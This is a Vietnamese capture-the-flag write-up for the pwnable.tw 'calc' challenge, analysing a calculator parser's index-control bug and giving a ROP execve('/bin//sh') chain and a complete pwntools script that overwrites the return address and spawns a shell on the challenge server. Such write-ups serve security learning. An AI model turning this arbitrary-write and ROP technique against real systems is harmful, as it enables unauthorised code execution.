---
# System prepended metadata

title: Writeup - calc / pwnable.tw

---

**Pwnable-TW**

**Writeup: Pwn Challenge - calc**

**Challenge Infomation** 
![image](https://hackmd.io/_uploads/H1guwOapp.png)
Security check:  
![image](https://hackmd.io/_uploads/Hy4Z__6TT.png)

Về cơ bản, binary là một file elf 32 bit, liên kết tĩnh, nghĩa là run file không cần load libc.  

**Analysis** 
Thực tế thì mình đã thay đổi tên các biến để dễ đọc code hơn. Hiểu được thuật toán của bài này mất của mình kha khá thời gian. 

![image](https://hackmd.io/_uploads/Byogtdaaa.png) 
Ở **main()** không có gì đặc biệt ngoài gọi đến **calc()** 
![image](https://hackmd.io/_uploads/SyUSK_6p6.png) 

Hàm calc trong mã C này có chức năng nhận dữ liệu đầu vào từ người dùng, phân tích và tính toán kết quả dựa trên biểu thức nhập vào, sau đó in kết quả ra màn hình. 

Đầu tiên khởi tạo mảng pool và mảng buf. 
Sử dụng vòng lặp while (1) để liên tục nhận dữ liệu từ người dùng và xử lý chúng. 
Trong mỗi vòng lặp: 
* Dùng hàm bzero để xóa nội dung của mảng buf.
* Sử dụng hàm get_expr để nhận một biểu thức từ người dùng và lưu trữ trong mảng buf. Nếu hàm get_expr trả về false, tức là không có biểu thức nào được nhập, thì thoát khỏi vòng lặp.
* Gọi hàm init_pool để khởi tạo mảng pool.
* Gọi hàm parse_expr để phân tích biểu thức trong buf và tính toán kết quả. Nếu phân tích biểu thức thành công (trả về giá trị khác 0), in ra giá trị của phần tử cuối cùng trong mảng pool bằng cách sử dụng printf.

```cpp
int __cdecl parse_expr(int buf, _DWORD *pool)
{
  int v3; // eax
  int Save_start_ptr; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int k; // [esp+28h] [ebp-80h]
  int CutLen; // [esp+2Ch] [ebp-7Ch]
  char *StrNum; // [esp+30h] [ebp-78h]
  int Num; // [esp+34h] [ebp-74h]
  char Save_op[100]; // [esp+38h] [ebp-70h] BYREF
  unsigned int v11; // [esp+9Ch] [ebp-Ch]

  v11 = __readgsdword(0x14u);
  Save_start_ptr = buf;
  k = 0;
  bzero(Save_op, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( *(i + buf) - '0' > 9 )
    {
      CutLen = i + buf - Save_start_ptr;
      StrNum = malloc(CutLen + 1);
      memcpy(StrNum, Save_start_ptr, CutLen);
      StrNum[CutLen] = 0;
      if ( !strcmp(StrNum, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      Num = atoi(StrNum);
      if ( Num > 0 )
      {
        v3 = (*pool)++;
        pool[v3 + 1] = Num;
      }
      if ( *(i + buf) && *(i + 1 + buf) - '0' > 9 )// nếu 2 dấu cạnh nhau thì out
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      Save_start_ptr = i + 1 + buf;
      if ( Save_op[k] )
      {
        switch ( *(i + buf) )
        {
          case '%':
          case '*':
          case '/':
            if ( Save_op[k] != '+' && Save_op[k] != '-' )
              goto LABEL_14;
            Save_op[++k] = *(i + buf);
            break;
          case '+':
          case '-':
LABEL_14:
            eval(pool, Save_op[k]);
            Save_op[k] = *(i + buf);
            break;
          default:
            eval(pool, Save_op[k--]);
            break;
        }
      }
      else
      {
        Save_op[k] = *(i + buf);
      }
      if ( !*(i + buf) )
        break;
    }
  }
  while ( k >= 0 )
    eval(pool, Save_op[k--]);
  return 1;
}
```
Hàm parse_expr có chức năng phân tích biểu thức số học được nhập vào từ người dùng và thực hiện các phép tính tương ứng. Cụ thể: 

Khởi tạo các biến local và chuỗi Save_op để lưu trữ các toán tử trong biểu thức. 
Sử dụng vòng lặp for để duyệt qua từng ký tự trong biểu thức. 

Trong mỗi vòng lặp: 
* Kiểm tra nếu ký tự không phải là một chữ số bằng cách so sánh với ký tự '0' (trong bảng mã ASCII). Nếu không phải, đó là một phần của một số.
* Nếu gặp ký tự không phải chữ số, tiến hành phân tích số từ Save_start_ptr đến vị trí hiện tại và lưu vào Num.
* Kiểm tra xem số Num có lớn hơn 0 hay không. Nếu có, lưu số vào mảng pool và tăng chỉ số của pool.
* Kiểm tra nếu có hai ký tự liền kề không phải là chữ số, nếu có thì xuất thông báo lỗi và trả về 0.
* Cập nhật Save_start_ptr cho vị trí sau ký tự hiện tại.
* Kiểm tra nếu Save_op[k] có giá trị, tức là có toán tử trong Save_op:
* Nếu toán tử hiện tại có độ ưu tiên cao hơn toán tử cuối cùng trong Save_op, thêm toán tử mới vào Save_op.
* Nếu không, thực hiện phép tính với phần tử cuối cùng trong pool và toán tử cuối cùng trong Save_op, sau đó cập nhật toán tử cuối cùng trong Save_op.
* Nếu không phải toán tử, thực hiện phép tính với phần tử cuối cùng trong pool và toán tử cuối cùng trong Save_op, sau đó giảm chỉ số k.
* Nếu không có ký tự nào nữa trong biểu thức, thoát khỏi vòng lặp.
* Thực hiện các phép tính còn lại trong Save_op nếu có.
* Trả về 1 để chỉ ra rằng phân tích biểu thức thành công.

![image](https://hackmd.io/_uploads/ry7D6_T6T.png) 

Hàm eval có chức năng thực hiện các phép tính số học tương ứng với toán tử op trên các phần tử cuối cùng của mảng pool. 

Kiểm tra giá trị của op: 
* Nếu op là '+', thực hiện phép cộng giữa hai phần tử cuối cùng của mảng pool và gán kết quả vào phần tử thứ hai từ cuối của mảng pool. Sau đó, giảm giá trị của con trỏ pool đi 1. Tương tự với -*/
* Trả về con trỏ pool sau khi đã thực hiện phép tính.

**Vulnerability:** 

![image](https://hackmd.io/_uploads/ry3HRu66a.png) 
Run thử nghiệm với 1 vài phép tính. 
Ta thấy được 1 số thứ vi diệu như nhập +1000 kết quả trả về 1814964794 hay -11 trả về 933674496. 
Try debug. 
![image](https://hackmd.io/_uploads/BkEtet6ap.png) 

![image](https://hackmd.io/_uploads/H1DugKTT6.png) 

pool có địa chỉ 0xffffcc18, thử tele pool xem sao: 
![image](https://hackmd.io/_uploads/rJtigYTp6.png) 
Đặt break point trước printf xem vì sao nó in ra con số đó. 
![image](https://hackmd.io/_uploads/H1epeYaTp.png) 

![image](https://hackmd.io/_uploads/HyUeZY66T.png) 
Sau khi next vào phát, nhận thấy **vararg: 0x31303d72 ('r=01')** có 'r=01' có vẻ là một chuỗi gì đó trên stack 
![image](https://hackmd.io/_uploads/r1OSWYTT6.png) 

Thử với 1 vài trường hợp khác thì thấy nó lấy tham số trên stack thật =)) 



![image](https://hackmd.io/_uploads/H1UQ7KTpa.png) 
Đoán xem kết quả sẽ như nào =)) 
![image](https://hackmd.io/_uploads/H1AVQYpTa.png) 
Kết quả là 0 
Vì sao lại như thế. 

Nãy giờ thao tác với chương trình bị lỗi nhiều rồi, giờ thử lại với 1 phép tính bình thường. 
![image](https://hackmd.io/_uploads/B16YQKT6a.png) 

![image](https://hackmd.io/_uploads/rkfjXYa6a.png) 

![image](https://hackmd.io/_uploads/H1TiQKap6.png) 
Cấu trúc của 1 pool sẽ là phần tử đầu tiên sẽ là tổng số phần tử. 5+6 có 2 phần tử là 5 và 6 được lưu ngay sau đó. 
Đơn giản *pool là giá trị chứa len của pool hay cũng có thể coi là chứa số lượng phép tính. 

Nhìn lại với +1000 pool chỉ có 1 phần tử 
![image](https://hackmd.io/_uploads/ryS7EYpa6.png) 

pool[1,1000] 
Đây là cách tính của hàm eval: pool[*pool - 1] += pool[*pool]; 
*pool = 1 
=> pool[0] = pool[0]+pool[1] = 1+ 1000 =1001 

vì pool[0] sẽ -1 nên cuối eval nhận được kết quả là pool[1000,1000] 
![image](https://hackmd.io/_uploads/ByT6-cap6.png) 

![image](https://hackmd.io/_uploads/H1jCDY6pT.png) 

+1000-825245042 
pool[1,1000,825245042] 

Lần 1: 
![image](https://hackmd.io/_uploads/B11ytqT6p.png) 
![image](https://hackmd.io/_uploads/B1oJF5Ta6.png) 
Bây giừ idx là 0x3e9 = 1001 
Lần 2: 
![image](https://hackmd.io/_uploads/Bkj-Y5a6T.png) 
![image](https://hackmd.io/_uploads/HkMzFcpT6.png) 
pool[0x3e8] = pool[0x3e8]-pool[0x3e9] = 825245042-825245042 = 0 
![image](https://hackmd.io/_uploads/rJ7RFq6Ta.png) 

Vậy eval xử lí không sai, sai đến từ parse_exprparse_expr 
![image](https://hackmd.io/_uploads/r15az96Ta.png) 
Ở parse_expr 
Save_op[k] sẽ không có gì -> nhảy vào else để gán op, xong nhảy lên trên atoi sau đó add số vào 
sau đó đẩy số vào pool, và gán operator vào mảng Save_op[] 

Phân tích với ví dụ cụ thể: 
Khi nhập -5+10 
Sẽ không có số để atoi, cũng sẽ không có dấu và nhảy về else để gán 
*pool không + lên 
Lượt 1, đưa số 5 vào pool, và thực hiện phép trừ. 
pool[1,5] 
pool[0] = pool[0]-pool[1] = 1-5 = 0xfffffffc 

Lượt 2, đưa số 10 vào pool?, và thực hiện phép cộng, số 10 không thấy vào pool, số 10 đi đâu? 
![image](https://hackmd.io/_uploads/rJoHesap6.png) 
số 10 ở đây: tại idx số 0xfffffffc của pool 
![image](https://hackmd.io/_uploads/S1yFxo66T.png) 
pool[0xfffffffc,5,....,10] 
pool[0xfffffffc-1] = pool[0xfffffffc-1]+pool[0xfffffffc] 

Sau nhiều lần thử và phân tích bạn nhận ra gì chưa, mình có thể control được idx và có thể ghi vào địa chỉ bất kì vì có thể control được idx. 

Có thể tính ra return addr bằng cách tính int pool[101]; // [esp+18h] [ebp-5A0h] BYREF 0x5A0/4+4 = 361 

![image](https://hackmd.io/_uploads/rJqLD9ppT.png) 
![image](https://hackmd.io/_uploads/BypBPqapT.png) 

![image](https://hackmd.io/_uploads/Syynvcppa.png) 
0x8049499 main+71 là BACKTRACE. 

Vậy thì việc tiếp theo là ghi chuỗi ROP vào rồi nhảy. 
Mình có thể ghi trực tiếp lên return addr mà không sợ chương trình nó out vì chương trình loop cho đến khi nhập b'\n' mới chịu out. 

Tuy nhiên chúng ta cần leak giá trị tại địa chỉ cần ghi để trừ đi rồi add lại với gadget chúng ta cần ghi vào. 

vd: cần ghi 0x080701aa vào idx là 400, chúng ta cần leak giá trị tại idx 400 sau đó thực hiện phép trừ để giá trị đó về 0 rồi mới + lên với 0x080701aa. 

**Exploit:** 

xài **ROPgadget --binary calc --ropchain** thì nó gen cho payload (code tĩnh nên xài ropchain luôn cũng được, mỗi tội nó dài nên phải ghi nhiều lần) 
```
#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec060) # @ .data
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec064) # @ .data + 4
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec068) # @ .data + 8
p += pack('<I', 0x080550d0) # xor eax, eax ; ret
p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d1) # pop ebx ; ret
p += pack('<I', 0x080ec060) # @ .data
p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ec068) # @ .data + 8
p += pack('<I', 0x080ec060) # padding without overwrite ebx
p += pack('<I', 0x080701aa) # pop edx ; ret
p += pack('<I', 0x080ec068) # @ .data + 8
p += pack('<I', 0x080550d0) # xor eax, eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x0807cb7f) # inc eax ; ret
p += pack('<I', 0x08049a21) # int 0x80
```


**Script**
```python
from pwn import *
from ctypes import *

context.log_level = 'debug'
context.arch = "i386"

e = context.binary = ELF('calc')
r= e.process()
r = remote('chall.pwnable.tw', 10100)
# lib = e.libc
# lib= ELF('libc6_2.35-0ubuntu3_amd64.so')

chain = [
    0x0807cb80, #thiếu ret xong sai sml T_T
    0x080701aa, # pop edx ; ret
    0x080ec060, # @ .data
    0x0805c34b, # pop eax ; ret
    0x6e69622f, #/bin
    0x0809b30d, # mov dword ptr [edx], eax ; ret
    0x080701aa, # pop edx ; ret
    0x080ec064, # @ .data + 4
    0x0805c34b, # pop eax ; ret
    0x68732f2f, #//sh
    0x0809b30d, # mov dword ptr [edx], eax ; ret
    0x080701aa, # pop edx ; ret
    0x080ec068, # @ .data + 8
    0x080550d0, # xor eax, eax ; ret
    0x0809b30d, # mov dword ptr [edx], eax ; ret
    0x080481d1, # pop ebx ; ret
    0x080ec060, # @ .data
    0x080701d1, # pop ecx ; pop ebx ; ret
    0x080ec068, # @ .data + 8
    0x080ec060, # padding without overwrite ebx
    0x080701aa, # pop edx ; ret
    0x080ec068, # @ .data + 8
    0x080550d0, # xor eax, eax ; ret
    0x0807cb7f, # inc eax ; ret
    0x0807cb7f, # inc eax ; ret
    0x0807cb7f, # inc eax ; ret
    0x0807cb7f, # inc eax ; ret
    0x0807cb7f, # inc eax ; ret
    0x0807cb7f, # inc eax ; ret
    0x0807cb7f, # inc eax ; ret
    0x0807cb7f, # inc eax ; ret
    0x0807cb7f, # inc eax ; ret
    0x0807cb7f, # inc eax ; ret
    0x0807cb7f, # inc eax ; ret
    0x08049a21 # int 0x80
]

# r.recvuntil(b"===\n")

len = len(chain)
for i in range(len):
    payload = f"+{361+i}".encode()
    r.sendline(payload)
    r.recvline()
    leak = int(r.recvline())
    leak = c_uint(leak).value
    payload = f"+{361+i}-{leak}+{chain[i]}".encode()
    r.sendline(payload)
        
r.recvline()
r.sendline(b"\n")

r.interactive()
```
**Result**
![image](https://hackmd.io/_uploads/rywqboaTp.png)


